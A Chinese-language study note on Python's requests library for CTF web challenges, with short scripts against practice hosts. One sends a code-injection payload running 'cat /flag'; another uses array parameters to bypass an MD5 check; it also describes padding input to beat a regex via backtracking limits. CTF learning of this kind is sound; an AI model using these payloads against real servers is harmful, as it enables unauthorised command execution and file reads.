面向CTF的python_requests库的学习笔记
看师傅们写的各种脚本羡慕不已,自己却只会一点一点手搓,于是来做个笔记
requests库是干嘛的?
顾名思义,request就是请求,可以用来向服务器发送请求。它可以代替你在网站上发送请求报文,并接受回应报文。简单来说就是以代码的形式在网站上按回车,是不是很神奇。
这时候有人可能会疑惑,那我们直接在网站上手搓不也是一样的吗,也可以得到flag,为什么要用request库呢?
很简单的例子,在BaseCTF_week2的数学大师里,有且只有写脚本一条路。
requests的使用指南
这里借用一下菜鸟教程
Python requests 模块 | 菜鸟教程
这里是比较简单的实例,接下来会介绍两种最为常用的方法
url:是指网站地址,形如http://.........之类的
data:是post所需要的数据
json:是参数为要发送到指定 url 的 JSON 对象
args:是其他参数,比如 cookies、headers、verify等
params:url中的额外参数
例题一
题目很简单,直接cat一下就行
通过代码可以这样实现
import requests #导入库
url='http://gz.imxbt.cn:20574/' #定义url
data={'DT':'system("cat /flag");'} #定义要传的参数,会变成?system("cat /flag");
res=requests.get(url,params=data) #res接受请求后的参数
print(res.content) #打印内容
实战中,经常会遇到post和get需要一起请求,但是写两条请求的话,其实是请求了两次
res=requests.get()
res=request.post() (这里会覆盖上面的,最后就只有post的这条数据)
如何解决呢?
其实很简单,get传的参数是可以放在url中的
下面给出第二道例题
例题二
简单的md5,构造脚本如下
import requests #导入
url='http://gz.imxbt.cn:20586/?name[]=1&name2[]=3' #定义url,并写上get参数的数据
data={'password[]':'2','password2[]':'4'} #post的数据
res=requests.post(url,data=data) #接受回应
print(res.text) #打印结果
requests的进阶用法
这里我要先引入一个函数format()
format是一个格式化字符串的函数
通过这个函数我们可以做到一下操作
聪明人已经知道我要干什么了,没错,这是针对多次回溯绕过正则准备的
(简单来说就是需要传10000次符合正则的字符串,这样就可以绕过)
如果题目中同时需要post和get,那么我们就只能用requests.post(),然后把get的参数写在url后面。
这时,如果是post的参数需要多次回溯绕过正则,我们可以在data里自行加上a*10000
但是,如果是get的参数需要绕过正则呢?
这样就完美解决这个问题了
小结
request库就记录到这里,其实还远远不够,很多题目都需要一定的代码能力。培养自己的逻辑思维也是十分重要的。